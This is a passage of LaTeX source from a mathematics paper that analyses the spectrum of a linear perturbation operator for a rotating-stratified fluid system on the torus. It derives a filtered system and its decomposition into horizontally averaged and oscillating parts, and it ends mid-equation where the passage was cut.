2^{qk}C^{-k}\left\| u \right\|_{{{L^p\left(\mathbb{T}^3\right)}}}\leqslant & \left\|\left( -\Delta \right)^{k/2} u \right\|_{{{L^p\left(\mathbb{T}^3\right)}}} \leqslant 2^{qk}C^{k}\left\| u \right\|_{{{L^p\left(\mathbb{T}^3\right)}}}.
\end{align*}
Let now $r\geqslant r' \geqslant 1$ be real numbers. Let $\text{supp}\mathcal{F}u \subset 2^q B$, then
\begin{align*}
\left\| u \right\|_{ L^r}\leqslant & C \cdot 2^{3q\left( \frac{1}{r'}-\frac{1}{r}\right)}\left\| u \right\|_{ L^{r'}}.
\end{align*}
Let us consider now a function $ u $ such that $ \mathcal{F}u $ is supported in $ 2^q\mathcal{C}_h \times 2^{q'}\mathcal{C}_v $. Let us define $ D_h= \left( -\Delta_h \right)^{1/2}, D_3=\left| \partial_3 \right| $, then
$$
C^{-q-q'}2^{qs+q's'}\left\| u \right\|_{{L^p\left(\mathbb{T}^3\right)}}\leqslant
\left\| D_h^s D_3^{s'} u \right\|_{{L^p\left(\mathbb{T}^3\right)}} \leqslant C^{q+q'}2^{qs+q's'}\left\| u \right\|_{{L^p\left(\mathbb{T}^3\right)}},
$$
and given $ 1\leqslant p'\leqslant p\leqslant \infty $, $1\leqslant r'\leqslant r\leqslant \infty $, then
\begin{align*}
\left\| u \right\|_{L^p_hL^r_v} \leqslant & C^{q+q'} 2^{2q \left( \frac{1}{p'}-\frac{1}{p} \right) + q' \left( \frac{1}{r'}-\frac{1}{r} \right)
} \left\| u \right\|_{L^{p'}_h L^{r'}_v},\\
\left\| u \right\|_{L^r_vL^p_h} \leqslant & C^{q+q'} 2^{2q \left( \frac{1}{p'}-\frac{1}{p} \right) + q' \left( \frac{1}{r'}-\frac{1}{r} \right)
} \left\| u \right\|_{ L^{r'}_vL^{p'}_h}.
\end{align*}
\end{lemma}
\section{Analysis of the linear perturbation operator $\mathbb{P}\mathcal{A}$}
\label{sec:linear_problem}
We recall that thoughout this paper, we alway use upper-case letters to represent vector fields on $\mathbb{T}^3$, with four components, the first three components of which form a divergence-free vector field (denoted by the same lower-case letter). More precisely, for a generic vector field $A$, we have
\begin{equation*}
A(x_1,x_2,x_3) = \pare{A^1(x_1,x_2,x_3),A^2(x_1,x_2,x_3),A^3(x_1,x_2,x_3),A^4(x_1,x_2,x_3)} = \pare{a(x_1,x_2,x_3), A^4(x_1,x_2,x_3)},
\end{equation*}
where
\begin{equation*}
a = (a^1,a^2,a^3) \equiv (A^1,A^2,A^3), \quad\mbox{and}\quad \textnormal{div}\; a = 0.
\end{equation*}
As explained in the introduction, the time derivative $\partial_t V^\varepsilon$ is not uniformly bounded. In order to take the limit $\varepsilon \to 0$, we need to filter the high oscillating terms out of the system \eqref{PBSe}. To this end, we consider the following linear, homogeneous Cauchy problem, which describes the internal waves associated to \eqref{PBSe}
\begin{equation}
\label{eq:lin_prob}
\left\lbrace
\begin{aligned}
&\partial_\tau W + \mathbb{P}\mathcal{A} \; W = 0,\\
&W|_{\tau=0}=W_0\in L^2_\sigma(\mathbb{T}^3),
\end{aligned}
\right.
\end{equation}
where
\begin{equation*}
L^2_\sigma \stackrel{def}{=} \set{ U=\pare{u, U^4}\in L^2, \; \textnormal{div}\; u = 0 \;\mbox{ and } \int_{\mathbb{T}^3} U(x)\ dx = 0 }.
\end{equation*}
In \cite{Scrobo_Froude_periodic}, a detailed analysis of \eqref{eq:lin_prob} was given in a particular case where the vector fields are supposed to have zero horizontal average. In this section, we will provide a complete spectral analysis of the operator $\mathbb{P}\mathcal{A}$ in the general case where there is no such assumption, which allows to get a detailed description of the solution of \eqref{eq:lin_prob} in $L^2_\sigma(\mathbb{T}^3)$. Using the decomposition \eqref{eq:bar-tilde_dec}, we can write
\begin{equation*}
{L^2_\sigma} = \widetilde{L^2_\sigma} \oplus \underline{{L^2_\sigma}},
\end{equation*}
where
\begin{align*}
\widetilde{L^2_\sigma}= & \Big\{ U=\pare{u, U^4}\in L^2_{\sigma} \ \Big\vert \ \int_{\mathbb{T}^2_h} U\pare{x_h, x_3}\, dx_h=0 \Big\}, \\
\underline{L^2_\sigma} = & \Big\{U=\pare{u, U^4 } \in L^2_\sigma \ \Big\vert \ U=U\pare{ x_3 } \ \text{and} \ u^3\equiv 0 \Big\}.
\end{align*}
Let us remark that, since $\textnormal{div}\; a = 0$ and $a = a(x_3)$, we deduce that $\partial_3 a^3=0$, which in turn implies that $a^3=0$, taking into account the zero average of $a^3$ in $\mathbb{T}^3$.
\medskip
Writing the first equation of \eqref{eq:lin_prob} in the Fourier variables, we have
\medskip
\begin{equation}
\label{eq:lin_probF}
\left\lbrace
\begin{aligned}
&\partial_\tau \widehat{W} (\tau,n) + \widehat{\mathbb{P}\mathcal{A}}\,(n)\; \widehat{W}(\tau,n) = 0,\\
&\widehat{W}(0,n) = \widehat{W}_0(n),
\end{aligned}
\right.
\end{equation}
where
\begin{equation}
\label{eq:def_PA}
\widehat{\mathbb{P}\mathcal{A}}\,(n) = \left( \begin{array}{cccc}
0&0&0&-\frac{ \check{n}_1 \check{n}_3}{\left| \check{n} \right|^2}\\
0&0&0&-\frac{ \check{n}_2 \check{n}_3}{\left| \check{n} \right|^2}\\
0&0&0&1-\frac{ \check{n}_3^2}{\left| \check{n} \right|^2}\\
0&0&-1&0
\end{array} \right).
\end{equation}
Standard calculations show that the matrix $\widehat{\mathbb{P}\mathcal{A}}\,(n)$ possesses very different spectral properties in the case where $\check{n}_h = 0$ and in the case where $\check{n}_h \neq 0$.
\emph{1. In the case where $\check{n}_h \neq 0$:} The matrix $\widehat{\mathbb{P}\mathcal{A}}\,(n)$ admits an eigenvalue $\omega^0(n)\equiv 0$ of multiplicity 2 and two other conjugate complex eigenvalues
\begin{equation}
\label{eq:eigenvalues} i \omega^\pm (n) = \pm i \omega(n),
\end{equation}
where $\omega(n) = \frac{\left|\check{n}_h\right|}{\left|\check{n}\right|}$. Associated to each eigenvalue, there is a unique unit eigenvector, orthogonal to the frequency vector ${}^t(\check{n}_1,\check{n}_2,\check{n}_3,0)$, which is explicitly given as follows
\begin{align}
\label{eq:eigenvectors}
e_0(n) = &\frac{1}{\left|\check{n}_h\right|} \left( \begin{array}{c} -\check{n}_2\\ \check{n}_1\\ 0\\ 0 \end{array}\right),
&e_\pm(n)= &\frac{1}{\sqrt{2}} \left( \begin{array}{c}
\pm \; i \; \frac{\check{n}_1 \check{n}_3}{\left| \check{n}_h \right|\; \left| \check{n} \right|}\\[2mm]
\pm \; i \; \frac{\check{n}_2 \check{n}_3}{\left| \check{n}_h \right|\; \left| \check{n} \right|}\\[2mm]
\mp \; i \; \frac{\left| \check{n}_h \right|}{\left| \check{n} \right|}\\[2mm]
1
\end{array}\right).
\end{align}
Since $\set{e_\alpha}_{\alpha = 0,\pm}$ form an orthonormal basis of the subspace of $\mathbb{C}^4$ which is orthogonal to ${}^t(\check{n}_1,\check{n}_2,\check{n}_3,0)$, the classical theory of ordinary differential equations imply that the solution $\widehat{W}(\tau,n)$ of \eqref{eq:lin_probF}, with $\check{n}_h \neq 0$, writes
\begin{equation}
\label{eq:FWnh} \widehat{W} (\tau,n) = \sum_{\alpha \in \set{0,\pm}} e^{i\tau \omega^\alpha(n)} \psca{\widehat{W}_0(n), e_\alpha(n)}_{\mathbb{C}^4} e_\alpha(n).
\end{equation}
\medskip
\emph{2. In the case where $\check{n}_h = 0$:} The matrix $\widehat{\mathbb{P}\mathcal{A}} (n) $ becomes
\begin{equation*}
\widehat{\mathbb{P}\mathcal{A}}\left( 0,0,n_3 \right)= \left(
\begin{array}{cccc}
0&0&0&0\\
0&0&0&0\\
0&0&0&0\\
0&0&-1&0
\end{array}
\right),
\end{equation*}
and admits only one eigenvalue $\omega (0,0,n_3) = 0$ of multiplicity 4, and three associate unit eigenvectors, orthogonal to the frequency vector ${}^t(0,0,\check{n}_3,0)$
\begin{align}
\label{ev_nh=0}
f_1 = & \left( \begin{array}{c} 1\\0\\0\\0 \end{array} \right),
&
f_2 = & \left( \begin{array}{c} 0\\1\\0\\0 \end{array} \right),
&
f_3 = & \left( \begin{array}{c} 0\\0\\0\\1 \end{array} \right).
\end{align}
The solution $\widehat{W}(\tau,n_3) \equiv \widehat{W}(\tau,0,0,n_3)$ of \eqref{eq:lin_probF} writes
\begin{equation}
\label{eq:FWnh0} \widehat{W} (\tau,n_3) = \sum_{j \in \set{1,2,3}} \psca{\widehat{W}_0(0,0,n_3), f_j}_{\mathbb{C}^4} f_j.
\end{equation}
\medskip
The expressions of the Fourier modes $\widehat{W}(n)$ given in \eqref{eq:FWnh} and \eqref{eq:FWnh0} imply the following result
\begin{lemma}
\label{lem:DecompW} Let $W_0\in L^2_\sigma(\mathbb{T}^3)$. The unique solution $W$ of the system \eqref{eq:lin_prob} accepts the following decomposition
\begin{equation}
\label{eq:DecompW} W(\tau,x) = \underline{W}\pare{x_3} + \overline{W}\pare{x} + W_{\textnormal{osc}}\pare{\tau, x},
\end{equation}
where
\begin{equation*}
\begin{aligned}
\underline{W}\pare{x_3} &= \sum_{n_3 \in \mathbb{Z}} \sum_{j \in \set{1,2,3}} \psca{\widehat{W}_0(0,0,n_3), f_j}_{\mathbb{C}^4} e^{i\check{n}_3 x_3} f_j\\
\overline{W}\pare{x} &= \sum_{\substack{n\in\mathbb{Z}^3\\n_h\neq 0}} \psca{\widehat{W}_0(n), e_0(n)}_{\mathbb{C}^4} e^{i\check{n} \cdot x} e_0(n)\\
W_{\textnormal{osc}}\pare{\tau, x} &= \sum_{\substack{n\in\mathbb{Z}^3\\n_h\neq 0}} \sum_{\alpha \in \set{\pm}} \psca{\widehat{W}_0(n), e_\alpha(n)}_{\mathbb{C}^4} e^{i\tau \omega^\alpha(n)} e^{i\check{n} \cdot x} e_\alpha(n).
\end{aligned}
\end{equation*}
\end{lemma}
\bigskip
Now, we set
\begin{align*}
&E_\alpha(n,x) = e^{i\check{n} \cdot x} e_\alpha(n), \hspace{1cm} \forall \, n\in\mathbb{Z}^3, n_h\neq 0, \forall \, \alpha\in\set{0,\pm}\\
&F_j(n_3,x_3) = e^{i\check{n}_3 x_3} f_j, \hspace{1.1cm} \forall \, n_3\in\mathbb{Z}, \forall \, j\in\set{1,2,3},
\end{align*}
then, $\set{E_\alpha(n,\cdot), F_j(n_3,\cdot)}$ forms an orthonormal basis of $L^2_\sigma(\mathbb{T}^3)$, and we have the following decomposition
\begin{definition}
\label{def:DecompV} For any vector field $V \in L^2_\sigma(\mathbb{T}^3)$, we have
\begin{equation}
\label{eq:DecompV} V(x) = \underline{V}\pare{x_3} + \overline{V}\pare{x} + V_{\textnormal{osc}}\pare{x},
\end{equation}
where
\begin{equation*}
\begin{aligned}
\underline{V}\pare{x_3} &= \sum_{n_3 \in \mathbb{Z}} \sum_{j \in \set{1,2,3}} \psca{\widehat{V}(0,0,n_3), f_j}_{\mathbb{C}^4} F_j(n_3,x_3)\\
\overline{V}\pare{x} &= \sum_{\substack{n\in\mathbb{Z}^3\\n_h\neq 0}} \psca{\widehat{V}(n), e_0(n)}_{\mathbb{C}^4} E_0(n,x)\\
V_{\textnormal{osc}}\pare{\tau, x} &= \sum_{\substack{n\in\mathbb{Z}^3\\n_h\neq 0}} \sum_{\alpha \in \set{\pm}} \psca{\widehat{V}(n), e_\alpha(n)}_{\mathbb{C}^4} E_\alpha(n,x).
\end{aligned}
\end{equation*}
\end{definition}
\noindent We also have the following result
\begin{prop}
\label{prop:Projection}
Let $\Pi_X$ be the projection onto the subspace $X$ of $L^2_\sigma(\mathbb{T}^3)$. For any vector field $V \in L^2_\sigma(\mathbb{T}^3)$, we have
\begin{enumerate}
\item \label{KerPA1} $\Pi_{\underline{L^2_\sigma}} V = \underline{V}\pare{x_3}$.
\medskip
\item \label{KerPA2} $\Pi_{\widetilde{L^2_\sigma}} V = \widetilde{V}(x) = V(x) - \underline{V}\pare{x_3} = \overline{V}\pare{x} + V_{\textnormal{osc}}\pare{x}$.
\medskip
\item \label{KerPA3} $\underline{V}\pare{x_3} + \overline{V}\pare{x} = \Pi_{\ker \pare{\mathbb{P}\mathcal{A}}} V = \Pi_{\ker \pare{\mathcal{L} - \textnormal{Id}}} V$.
\end{enumerate}
Thus, the operator $\mathcal{L}(\tau)$ only acts on the oscillating part $V_{\textnormal{osc}}$ of $V$.
\end{prop}
\begin{proof}
The points \eqref{KerPA1} and \eqref{KerPA2} are immediate consequences of the identity \eqref{eq:bar-tilde_dec} and of Definition \eqref{def:DecompV}. The only non evident point is \eqref{KerPA3}, the proof of which simply follows the lines of the proof of \cite[Proposition 4.1]{grenierrotatingeriodic}.
\end{proof}
\section{Analysis of the filtered equation} \label{sec:filt-sys}
In this section, we will use the method of \cite{schochet}, \cite{grenierrotatingeriodic}, \cite{Gallagher_schochet} or \cite{paicu_rotating_fluids} to filter out the high oscillation term in the system \eqref{PBSe}. In order to do so, we first decompose the initial data in the same way as in \eqref{eq:DecompV}, \emph{i.e.}, we write
\begin{equation*}
V_0= \underline{V_0}+\widetilde{V}_0 = \underline{V_0}+\overline{V}_0 + V_{\textnormal{osc}, 0}.
\end{equation*}
\bigskip
We recall that in the introduction, we defined $\mathcal{L}$ as the operator which maps $W_0\in L^2_\sigma(\mathbb{T}^3)$ to the solution $W$ of the linear system \eqref{eq:lin_prob}. Using this operator, we now defined the following auxiliary vector field
\begin{equation*}
U^\varepsilon = \mathcal{L} \pare{-\frac{t}{\varepsilon}} V^\varepsilon.
\end{equation*}
Replacing $V^\varepsilon = \mathcal{L} \pare{\frac{t}{\varepsilon}} U^\varepsilon$ into the initial system \eqref{PBSe}, straightforward computations show that $U^\varepsilon$ satisfies the following ``filtered'' system
\begin{equation}
\tag{S${}_\varepsilon$}
\label{eq:filt-sys}
\left\lbrace
\begin{aligned}
&\partial_t U^\varepsilon+\mathcal{Q}^\varepsilon \pare{U^\varepsilon,U^\varepsilon}- \mathcal{A}_2^\varepsilon \pare{ D } U^\varepsilon= 0,\\
&\bigl. U^\varepsilon\bigr|_{t=0}=V_0,
\end{aligned}
\right.
\end{equation}
where
\begin{align}
\label{eq:def_Qeps} \mathcal{Q}^\varepsilon \left( V_1,V_2\right)= & \frac{1}{2} \mathcal{L}\left(\frac{t}{\varepsilon}\right) \mathbb{P} \left[ \mathcal{L}\left(-\frac{t}{\varepsilon}\right) V_1 \cdot \nabla \mathcal{L}\left(-\frac{t}{\varepsilon}\right) V_2 + \mathcal{L}\left(-\frac{t}{\varepsilon}\right) V_2 \cdot \nabla \mathcal{L}\left(-\frac{t}{\varepsilon}\right) V_1
\right],\\
\label{eq:def_A2eps} \mathcal{A}^\varepsilon_2 (D) W = & \mathcal{L}\left(\frac{t}{\varepsilon}\right) \mathcal{A}_2 (D) \mathcal{L}\left(-\frac{t}{\varepsilon}\right) W.
\end{align}
\bigskip
In this section, we will consider the evolution of \eqref{eq:filt-sys} as the superposition of its projections onto the subspace of horizontal independent (or average) vector fields $\underline{L^2_\sigma}$ and the subspace of horizontal oscillating vector fields $\widetilde{L^2_\sigma}$. Always denoting $\underline{V}$ and $\widetilde{V}$ the projection of $V \in L^2_\sigma$ onto $\underline{L^2_\sigma}$ and $\widetilde{L^2_\sigma}$, we formally decompose \eqref{eq:filt-sys} as sum of two following systems
\begin{equation*}
\left\lbrace
\begin{aligned}
&\partial_t \underline{U^\varepsilon} + \underline{\mathcal{Q}^\varepsilon} \pare{U^\varepsilon,U^\varepsilon} - \underline{\mathcal{A}_2^\varepsilon}(D) U^\varepsilon = 0,\\
&\bigl. \underline{U^\varepsilon}\bigr|_{t=0}=\underline{V_0},
\end{aligned}
\right.
\end{equation*}
and
\begin{equation*}
\left\lbrace
\begin{aligned}
&\partial_t \widetilde{U^\varepsilon} + \widetilde{\mathcal{Q}^\varepsilon} \pare{U^\varepsilon,U^\varepsilon} - \widetilde{\mathcal{A}_2^\varepsilon}(D) U^\varepsilon = 0,\\
&\bigl. \widetilde{U^\varepsilon}\bigr|_{t=0}=\widetilde{V_0},
\end{aligned}
\right.
\end{equation*}
where, for the sake of the simplicity, we identify
\begin{align*}
&\underline{\mathcal{Q}^\varepsilon} \pare{U^\varepsilon,U^\varepsilon} \equiv \underline{\mathcal{Q}^\varepsilon \pare{U^\varepsilon,U^\varepsilon}} && \underline{\mathcal{A}_2^\varepsilon}(D) U^\varepsilon \equiv \underline{\mathcal{A}_2^\varepsilon \pare{ D } U^\varepsilon},\\
&\widetilde{\mathcal{Q}^\varepsilon} \pare{U^\varepsilon,U^\varepsilon} \equiv \widetilde{\mathcal{Q}^\varepsilon \pare{U^\varepsilon,U^\varepsilon}} && \widetilde{\mathcal{A}_2^\varepsilon}(D) U^\varepsilon \equiv \widetilde{\mathcal{A}_2^\varepsilon \pare{ D } U^\varepsilon}.
\end{align*}
In what follows, we provide explicit formulas of $\underline{\mathcal{Q}^\varepsilon} \pare{U^\varepsilon,U^\varepsilon}$, $\underline{\mathcal{A}_2^\varepsilon}(D) U^\varepsilon$, $\widetilde{\mathcal{Q}^\varepsilon} \pare{U^\varepsilon,U^\varepsilon}$ and $\widetilde{\mathcal{A}_2^\varepsilon}(D) U^\varepsilon$, and we will decompose the vectors $ \mathcal{Q}^\varepsilon\pare{U^\varepsilon, U^\varepsilon} $ and $ \mathcal{A}^\varepsilon_2\pare{D}U^\varepsilon $ in the $ L^2_\sigma $ basis
\begin{equation*}
\set{E_\alpha(n,x), F_j(n_3,x_3)}_{\substack{n\in\mathbb{Z}^3\\ n_3\in\mathbb{Z}\\ \alpha=0, \pm \\ j=1,2,3}},
\end{equation*}
given in the previous section. To this end, in what follows, we introduce some additional notations. For any vector field $V \in L^2_\sigma$, we set
\begin{equation*}
V^a (n) = \left(\left. \widehat{V} (n) \right| e_a(n) \right)_{\mathbb{C}^4} \ e_a (n), \qquad \forall\, a=0, \pm, \ \forall\, n=\pare{ n_h, n_3 } \in \mathbb{Z}^3, \ n_h\neq 0,
\end{equation*}
and
\begin{equation*}
V^j(0,n_3) = \left(\left. \widehat{V} \left( 0, n_3 \right) \right| f_j \right)_{\mathbb{C}^4} \ f_j, \qquad \forall\, j=1,2,3, \ \forall\, n_3 \in \mathbb{Z}.
\end{equation*}
We also define the following quantities in order to shorten as much as possible the forthcoming expressions
\begin{align*}
\omega^{a,b,c}_{k,m,n} & = \omega^a (k) + \omega^b (m) - \omega^c (n), & a,b,c=0,\pm,\\
\omega^{a,b}_n & =\omega^a(n)+\omega^b(n), & a,b=0,\pm,\\
\widetilde{\omega}^{b,c}_{m, n} &= \omega^b\pare{m}-\omega^c(n), & b,c=0, \pm,\\
\omega^{a,b}_{k,m} & = \omega^a(k)+\omega^b(m), & a, b=0, \pm,
\end{align*}
where the eigenvalues $\omega^0(\cdot)$ and $\omega^\pm(\cdot)$ are defined in the previous section.
\bigskip
Following the lines of \cite{Gallagher_schochet} or \cite{paicu_rotating_fluids}, we deduce that, for $ c=0, \pm $, the projection of $ \mathcal{Q}^\varepsilon\pare{V_1, V_2} $ onto the subspace generated by $ E_c(n,\cdot) $, for any $ n\in \mathbb{Z}^3 $ such that $ n_h\neq 0 $, is
\begin{align*}
\psca{\mathcal{Q}^\varepsilon\pare{V_1, V_2} \,\Big\vert\, E_c(n,x)}_{\widetilde{L^2_\sigma}} E_c(n,x) & =
\psca{\mathcal{F}\pare{\mathcal{Q}^\varepsilon\pare{V_1, V_2}}(n) \,\Big\vert\, e_c(n)}_{\mathbb{C}^4} e^{i\check{n}\cdot x} \ e_c(n),\\
& = \sum_{k=1}^2 \psca{\mathcal{F}\pare{\widetilde{ \mathcal{Q}}^\varepsilon_k \pare{V_1, V_2}}(n) \,\Big\vert\, e_c(n)}_{\mathbb{C}^4} e^{i\check{n}\cdot x} \ e_c(n), \notag
\end{align*}
where using the divergence-free property, we can write the Fourier coefficients of the bilinear forms $\widetilde{ \mathcal{Q} }^\varepsilon_k$, $k=1,2$, as follows
\begin{equation*}
\mathcal{F} \pare{{ \widetilde{ \mathcal{Q}}^\varepsilon_1 \pare{V_1, V_2} }} (n) = \sum_{\substack{k+m=n \\k_h, m_h\neq 0\\ a,b, c=0, \pm}} e^{i\frac{t}{\varepsilon}\omega^{a,b,c}_{k,m,n}} \psca{\widehat{\mathbb{P}}(n) \begin{pmatrix} \check{n} \\ 0 \end{pmatrix} \cdot \mathbb{S} \pare{V_1^{a}(k) \otimes V_2^b(m)} \Big| \ e_c(n)}_{\mathbb{C}^4}\; e_c(n)
\end{equation*}
and
\begin{align*}
\mathcal{F} \pare{\widetilde{ \mathcal{Q}}^\varepsilon_2 \pare{V_1, V_2}} (n) &= \sum_{\substack{\pare{0,k_3} + m=n\\ m_h\neq 0\\b, c=0, \pm\\j=1,2,3}} e^{i\frac{t}{\varepsilon}\widetilde{\omega}^{b,c}_{m,n}} \psca{\widehat{\mathbb{P}}(n) \begin{pmatrix} \check{n} \\ 0 \end{pmatrix} \cdot \mathbb{S} \pare{V_1^{j}(0,k_3) \otimes V_2^b(m)} \big| e_c(n)}_{\mathbb{C}^4}\; e_c(n)\\
&+ \sum_{\substack{\pare{0,k_3} + m=n\\m_h\neq 0\\b, c=0, \pm\\j=1,2,3}} e^{i\frac{t}{\varepsilon}\widetilde{\omega}^{b,c}_{m,n}} \psca{\widehat{\mathbb{P}}(n) \begin{pmatrix} \check{n} \\ 0 \end{pmatrix} \cdot \mathbb{S} \left( V_1^{b} (m) \otimes V_2^j (0,k_3) \right) \big| \ e_c(n)}_{\mathbb{C}^4}\; e_c(n). \notag
\end{align*}
Here, $\begin{pmatrix} \check{n} \\ 0 \end{pmatrix}$ stands for the four-component vector ${}^t (\check{n}_1,\check{n}_2,\check{n}_3,0)$ and $\mathbb{P}$ is the Leray projection, defined in \eqref{eq:newLeray}. In order to shorten the notations, we use $\mathbb{S}$ for the following symmetry operator
\begin{equation*}
\mathbb{S} \pare{V_1 \otimes V_2} = V_1 \otimes V_2 + V_2 \otimes V_1,
\end{equation*}
for any $V_1 = (v_1, V_1^4)$ and $V_2 = (v_2,V_2^4)$. We remark that in the above summation formula there is no bilinear interaction which involves elements of the form $ V^{j_1}\pare{0, k_3}\otimes V^{j_2}\pare{0, m_3} $ since, a priori, these represent vector fields the horizontal average of which is not zero and hence they do not belong to $\widetilde{L^2_\sigma}$.
\bigskip
The projection of $ \mathcal{Q}^\varepsilon\pare{V_1, V_2} $ onto the subspace generated by $F_j(n_3,\cdot)$, for any $j=1,2,3$, for any $ n_3\in \mathbb{Z}$, can be computed in a similar way and we get
\begin{multline*}
\psca{\mathcal{Q}^\varepsilon\pare{V_1, V_2} \,\big\vert\, F_j(n_3,x_3)}_{\underline{L^2_\sigma}} F_j(n_3,x_3)\\
\begin{aligned}
& = \psca{\mathcal{F}\pare{\mathcal{Q}^\varepsilon\pare{V_1, V_2}} (0,n_3) \,\big\vert\, f_j}_{\mathbb{C}^4} e^{i\check{n}_3 x_3} f_j,\\
& = \sum_{\substack{k+m=(0,n_3) \\ k_h, m_h\neq 0\\ a,b \in \set{ 0,\pm} }} e^{i\frac{t}{\varepsilon}\omega^{a,b}_{k,m}} \psca{\widehat{\mathbb{P}}(0,n_3) \begin{pmatrix} 0 \\ 0 \\ \check{n}_3 \\ 0 \end{pmatrix} \cdot \mathbb{S} \left( V_1^{a} (k) \otimes V_2^b (m)\right) \Big|\, f_j}_{\mathbb{C}^4}\; e^{i\check{n}_3 x_3} f_j,\\
& = \psca{\mathcal{F} \pare{\underline{\mathcal{Q}}^\varepsilon\pare{ V_1, V_2 }} (0,n_3) \,\big\vert\, f_j} \ e^{i\check{n}_3 x_3} f_j.
\end{aligned}
\end{multline*}
Hence,
\begin{equation*}
\mathcal{Q}^\varepsilon \pare{ V_1, V_2 }\pare{ x } = \sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \mathcal{F} \pare{{ \widetilde{ \mathcal{Q}}^\varepsilon_1 \pare{V_1, V_2} } + \widetilde{ \mathcal{Q}}^\varepsilon_2 \pare{V_1, V_2}} (n) e^{i\check{n}\cdot x} + \sum_{n_3\in\mathbb{Z}} \mathcal{F} \pare{ \underline{\mathcal{Q}}^\varepsilon\pare{ V_1, V_2 } } (0,n_3) \ e^{i\check{n}_3 x_3}.
\end{equation*}
\bigskip
The decomposition of $\mathcal{A}^\varepsilon_2\pare{D}W$ can also be calculated as in \cite{Gallagher_schochet}. We have
\begin{equation*}
\begin{aligned}
&\psca{\mathcal{A}^\varepsilon_2\pare{D}W \,\big\vert\, E_b(n,x)}_{\widetilde{L^2_\sigma}} E_b(n,x) = \sum_{ a=0,\pm} e^{i\frac{t}{\varepsilon}\omega^{a,b}_n} \psca{\mathcal{F} \mathcal{A}_2 (n) W^a (n) \,\big\vert\, e_b(n)}_{\mathbb{C}^4} \ e^{i\check{n}\cdot x} e_b(n),\\
&\psca{\mathcal{A}^\varepsilon_2\pare{D}W \,\big\vert\, F_j(n_3,x_3)}_{\underline{L^2_\sigma}} F_j(n_3,x_3) = \psca{\mathcal{F} \mathcal{A}_2 (0,n_3) {W}^j (0,n_3) \,\big\vert\, f_j}_{\mathbb{C}^4} \ e^{i\check{n}_3\cdot x_3} f_j.
\end{aligned}
\end{equation*}
Thus,
\begin{equation*}
\widetilde{ \mathcal{A}^\varepsilon_2 }\pare{ D } W = \widetilde{ \mathcal{A}^\varepsilon_2 }\pare{ D } \widetilde{W} = \sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \sum_{ a, b=0,\pm} e^{i\frac{t}{\varepsilon}\omega^{a,b}_n} \psca{\mathcal{F} \mathcal{A}_2 (n) W^a (n) \,\Big|\, e_b(n)}_{\mathbb{C}^4} \ e^{i\check{n}\cdot x} \ e_b(n),
\end{equation*}
and
\begin{equation*}
\underline{ \mathcal{A}^\varepsilon_2 }\pare{ D } W = \underline{ \mathcal{A}^0_2 }\pare{ D_3 } \underline{W} = \sum_{n_3\in\mathbb{Z}} \sum _{j=1,2,3} \psca{\mathcal{F} \mathcal{A}_2 (0,n_3) {W}^j (0,n_3) \,\big|\, f_j}_{\mathbb{C}^4} \ e^{i\check{n}_3 x_3} \ f_j = \pare{ \nu\partial_3^2 \underline{W^1}, \nu\partial_3^2 \underline{W^2}, 0, 0 }.
\end{equation*}
We remark that the operator $ \underline{\mathcal{A}_2^\varepsilon} $ does not present oscillations, \emph{i.e.} it is independent of $ \varepsilon $.
\bigskip
Combining all the above calculations, we get the following decomposition of the system \eqref{eq:filt-sys}
\begin{lemma}
\label{le:decomp_filtered_syst}
Let $ V_0\in{{H}^s\left( \mathbb{T}^3 \right)}, \ s>5/2 $. We set
\begin{equation*}
\underline{V_0}\pare{ x_3 } = \frac{1}{4\pi^2 a_1 a_2} \int_{\mathbb{T}^2_h} V_0 \pare{ y_h, x_3 } dy_h,
\end{equation*}
and
\begin{equation*}
\widetilde{V}_0 = V_0-\underline{V_0}.
\end{equation*}
Then, the local solution $U^\varepsilon $ of \eqref{eq:filt-sys} can be written as the superposition
\begin{equation*}
U^\varepsilon = \widetilde{U}^\varepsilon + \underline{U^\varepsilon},
\end{equation*}
where $ \widetilde{U}^\varepsilon $ and $ \underline{U^\varepsilon} $ are local solutions of the equations
\begin{equation}
\label{eq:eq_Utilde_epsilon}
\left\lbrace
\begin{aligned}
& \partial_t \widetilde{U}^\varepsilon + \widetilde{ \mathcal{Q} }^\varepsilon_1 \pare{ \widetilde{U}^\varepsilon, \widetilde{U}^\varepsilon } + \widetilde{ \mathcal{Q} }^\varepsilon_2 \pare{ U^\varepsilon, U^\varepsilon } - \widetilde{ \mathcal{A}^\varepsilon_2 }\pare{ D } \widetilde{U}^\varepsilon=0,\\
& \textnormal{div}\; \widetilde{U}^\varepsilon =0,\\
& \left. \widetilde{U}^\varepsilon\right|_{t=0}=\widetilde{V}_0,
\end{aligned}
\right.
\end{equation}
and
\begin{equation}
\label{eq:eq_Uunderline_epsilon}
\left\lbrace
\begin{aligned}
& \partial_t \underline{U^\varepsilon}+ \underline{\mathcal{Q}}^\varepsilon \pare{ \widetilde{U}^\varepsilon, \widetilde{U}^\varepsilon }- \underline{\mathcal{A}^0_2}\pare{ D_3 } \underline{U^\varepsilon}=0, \\
& \left. \underline{U^\varepsilon}\right|_{t=0} = \underline{V_0}.
\end{aligned}
\right.
\end{equation}
\end{lemma}
\section{The limit system} \label{se:lim_syst}
In this short section, the convergence of suitable subsequences of local strong solutions $\pare{U^\varepsilon}_{\varepsilon > 0}$ of the system \eqref{eq:filt-sys} will be put in evidence. Moreover, using the similar methods as in \cite{Gallagher_schochet} or \cite{Scrobo_Froude_periodic}, we can determine the systems which describe the evolution of such limits. The explicit formulation of these limiting systems will be given in the next section.
We first introduce the limit forms $\widetilde{\mathcal{Q}}_1$, $\widetilde{\mathcal{Q}}_2$, $\underline{\mathcal{Q}}$, $\widetilde{\mathcal{A}^0_2}$ and $\underline{\mathcal{A}^0_2}$ such that
\begin{equation}
\label{eq:limit_cQ1} \widetilde{\mathcal{Q}}_1 (V_1, V_2) = \sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \sum_{\substack{\omega^{a,b,c}_{k,m,n}=0\\k+m=n \\ k_h, m_h, n_h\neq 0 \\ a,b,c \in \set{ 0,\pm}}} \psca{\widehat{\mathbb{P}}(n) \begin{pmatrix} n \\ 0 \end{pmatrix} \cdot \mathbb{S} \pare{V_1^{a} (k) \otimes V_2^b (m)} \,\Big|\, e_c(n)}_{\mathbb{C}^4}\; e^{i\check{n}\cdot x} \ e_c(n),
\end{equation}
\begin{align}
